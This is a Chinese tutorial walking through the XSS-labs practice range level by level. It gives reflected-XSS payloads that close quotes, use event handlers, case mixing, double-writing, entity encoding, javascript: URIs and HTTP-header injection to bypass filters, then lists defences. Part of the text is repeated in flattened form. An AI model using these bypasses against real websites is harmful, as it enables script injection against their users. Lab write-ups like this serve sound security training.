xss-labs靶场解析(详细-通俗易懂版)
字数 2074 2025-08-11 08:35:57

XSS-Labs靶场详细解析与教学文档

1. XSS原理概述

跨站脚本攻击(Cross Site Scripting,简称XSS)是指恶意攻击者在Web页面中插入恶意JavaScript代码(可能包含HTML代码),当用户浏览网页时,嵌入其中的代码会被执行,从而达到攻击目的。

XSS与CSS(层叠样式表)区分,故简称为XSS。

2. 靶场搭建

下载链接: https://github.com/do0dl3/xss-labs

搭建步骤:

  1. 下载源码
  2. 放置在phpstudy的根目录下
  3. 浏览器访问本地即可搭建成功

3. 关卡详细解析

第一关

特点: 无任何过滤

Payload:

level1.php?name=<script>alert(11)</script>

解析: 直接使用<script>标签即可成功弹窗。

第二关

特点: 需要闭合前面的引号和标签

Payload:

level2.php?keyword=111"><script>alert(111)</script>

解析: 通过闭合">,使后续的<script>标签能够正常执行。

第三关

特点: 使用htmlspecialchars()函数过滤了<>

Payload:

level3.php?keyword=' onclick=alert(1)//

解析:

  • htmlspecialchars()默认只编码双引号,单引号不转义
  • 使用onclick事件触发弹窗

第四关

特点: <>被直接过滤移除

Payload:

level4.php?keyword=" onclick=alert(1)//

解析: 通过闭合引号并使用onclick事件绕过。

第五关

特点: 过滤了scriptonclick

Payload:

level5.php?keyword="><a href=javascript:alert(1)>11</a>//

解析:

  • 使用<a>标签和JavaScript伪协议(javascript:alert(1))
  • 闭合前面的引号和标签

第六关

特点: 过滤关键词但可大小写绕过

Payload:

level6.php?keyword="><scriPt>alert(1)</script>

解析: 通过大小写混合绕过关键词过滤。

第七关

特点: 关键词被替换为空

Payload:

level7.php?keyword="><a hrhrefef=javascrscriptipt:alert(1)>11</a>//

解析: 使用双写绕过(如scrscriptipt会被过滤为script)。

第八关

特点: 在<a>标签的href属性中,可自动解码HTML实体

Payload:

level8.php?keyword=javasc&#114;ipt:alert(1)

解析: 对字母r进行HTML实体编码(&#114;)。

第九关

特点: 需要URL包含http://

Payload:

level9.php?keyword=javasc&#114;ipt:alert(1)//http://

解析:

  • 需要包含合法的URL格式(http://)
  • 前面需要注释//否则不成功

第十关

特点: 隐藏的输入框

Payload:

&t_sort=" type='text' onclick=javascript:alert(12)>//

解析:

  • 通过修改type属性显示隐藏的输入框
  • 使用onclick事件触发

第十一关

特点: 通过Referer头传值

Payload:

referer:&t_sort=" type='text' onclick=javascript:alert(12)>//

解析: 使用BurpSuite修改Referer头注入。

第十二关

特点: 通过User-Agent头传值

Payload:

User-Agent: Mozilla/5.0 ... "type="text" onclick=javascript:alert(1)//

解析: 修改User-Agent头注入。

第十三关

特点: 通过Cookie传值

Payload:

Cookie: user=" type='text' onclick=javascript:alert(1)//

解析: 修改Cookie值注入。

第十四关

备注: 靶场存在问题,无法正常使用。

第十五关

特点: 使用ng-include包含外部HTML

Payload:

level15.php?src='level1.php?name='

解析:

  • ng-include用于包含外部HTML文件
  • 使用``标签的onerror事件触发

第十六关

特点: 过滤空格、引号等

Payload:

level16.php?keyword=<a%0Aonclick=alert(1)>111</a>

解析:

  • 使用%0A(换行符)代替空格
  • 使用<a>标签和onclick事件

第十七关

特点: 使用<embed>标签

Payload:

level17.php?arg01=123 onmousedown=alert(1)&arg02=b

解析:

  • <embed>标签定义容器嵌入外部应用
  • 使用onmousedownonmouseover事件
  • 注意浏览器兼容性问题

第十八关

特点: 与第十七关相同

Payload: 同第十七关

4. 常见绕过技巧总结

  1. 闭合引号和标签: 如"><script>alert(1)</script>
  2. 使用事件处理器: 如onclick, onerror, onmouseover
  3. 大小写绕过: 如<scRiPt>alert(1)</sCriPt>
  4. 双写绕过: 如scrscriptiptscript
  5. HTML实体编码: 如javasc&#114;ipt
  6. JavaScript伪协议: 如javascript:alert(1)
  7. 使用非<script>标签: 如``, <a>, <svg>
  8. 空格替代: 使用%0A(换行符)代替空格
  9. 修改HTTP头注入: Referer, User-Agent, Cookie等
  10. 利用HTML5特性: 如ng-include, embed

5. 防御建议

  1. 对所有用户输入进行过滤和转义
  2. 使用htmlspecialchars()等函数处理特殊字符
  3. 实施内容安全策略(CSP)
  4. 对特定关键词进行过滤(注意绕过可能性)
  5. 对输出进行编码处理
  6. 避免直接将用户输入插入到HTML中

通过系统性地学习XSS-Labs靶场,可以全面了解XSS攻击的各种形式和防御方法,是Web安全学习的重要实践环节。

XSS-Labs靶场详细解析与教学文档 1. XSS原理概述 跨站脚本攻击(Cross Site Scripting,简称XSS)是指恶意攻击者在Web页面中插入恶意JavaScript代码(可能包含HTML代码),当用户浏览网页时,嵌入其中的代码会被执行,从而达到攻击目的。 XSS与CSS(层叠样式表)区分,故简称为XSS。 2. 靶场搭建 下载链接: https://github.com/do0dl3/xss-labs 搭建步骤: 下载源码 放置在phpstudy的根目录下 浏览器访问本地即可搭建成功 3. 关卡详细解析 第一关 特点 : 无任何过滤 Payload : 解析 : 直接使用 <script> 标签即可成功弹窗。 第二关 特点 : 需要闭合前面的引号和标签 Payload : 解析 : 通过闭合 " 和 > ,使后续的 <script> 标签能够正常执行。 第三关 特点 : 使用 htmlspecialchars() 函数过滤了 < 和 > Payload : 解析 : htmlspecialchars() 默认只编码双引号,单引号不转义 使用 onclick 事件触发弹窗 第四关 特点 : <> 被直接过滤移除 Payload : 解析 : 通过闭合引号并使用 onclick 事件绕过。 第五关 特点 : 过滤了 script 和 onclick Payload : 解析 : 使用 <a> 标签和JavaScript伪协议( javascript:alert(1) ) 闭合前面的引号和标签 第六关 特点 : 过滤关键词但可大小写绕过 Payload : 解析 : 通过大小写混合绕过关键词过滤。 第七关 特点 : 关键词被替换为空 Payload : 解析 : 使用双写绕过(如 scrscriptipt 会被过滤为 script )。 第八关 特点 : 在 <a> 标签的 href 属性中,可自动解码HTML实体 Payload : 解析 : 对字母 r 进行HTML实体编码( &#114; )。 第九关 特点 : 需要URL包含 http:// Payload : 解析 : 需要包含合法的URL格式( http:// ) 前面需要注释 // 否则不成功 第十关 特点 : 隐藏的输入框 Payload : 解析 : 通过修改 type 属性显示隐藏的输入框 使用 onclick 事件触发 第十一关 特点 : 通过Referer头传值 Payload : 解析 : 使用BurpSuite修改Referer头注入。 第十二关 特点 : 通过User-Agent头传值 Payload : 解析 : 修改User-Agent头注入。 第十三关 特点 : 通过Cookie传值 Payload : 解析 : 修改Cookie值注入。 第十四关 备注 : 靶场存在问题,无法正常使用。 第十五关 特点 : 使用 ng-include 包含外部HTML Payload : 解析 : ng-include 用于包含外部HTML文件 使用 ``标签的 onerror 事件触发 第十六关 特点 : 过滤空格、引号等 Payload : 解析 : 使用 %0A (换行符)代替空格 使用 <a> 标签和 onclick 事件 第十七关 特点 : 使用 <embed> 标签 Payload : 解析 : <embed> 标签定义容器嵌入外部应用 使用 onmousedown 或 onmouseover 事件 注意浏览器兼容性问题 第十八关 特点 : 与第十七关相同 Payload : 同第十七关 4. 常见绕过技巧总结 闭合引号和标签 : 如 "><script>alert(1)</script> 使用事件处理器 : 如 onclick , onerror , onmouseover 等 大小写绕过 : 如 <scRiPt>alert(1)</sCriPt> 双写绕过 : 如 scrscriptipt → script HTML实体编码 : 如 javasc&#114;ipt JavaScript伪协议 : 如 javascript:alert(1) 使用非 <script> 标签 : 如 ``, <a> , <svg> 等 空格替代 : 使用 %0A (换行符)代替空格 修改HTTP头注入 : Referer, User-Agent, Cookie等 利用HTML5特性 : 如 ng-include , embed 等 5. 防御建议 对所有用户输入进行过滤和转义 使用 htmlspecialchars() 等函数处理特殊字符 实施内容安全策略(CSP) 对特定关键词进行过滤(注意绕过可能性) 对输出进行编码处理 避免直接将用户输入插入到HTML中 通过系统性地学习XSS-Labs靶场,可以全面了解XSS攻击的各种形式和防御方法,是Web安全学习的重要实践环节。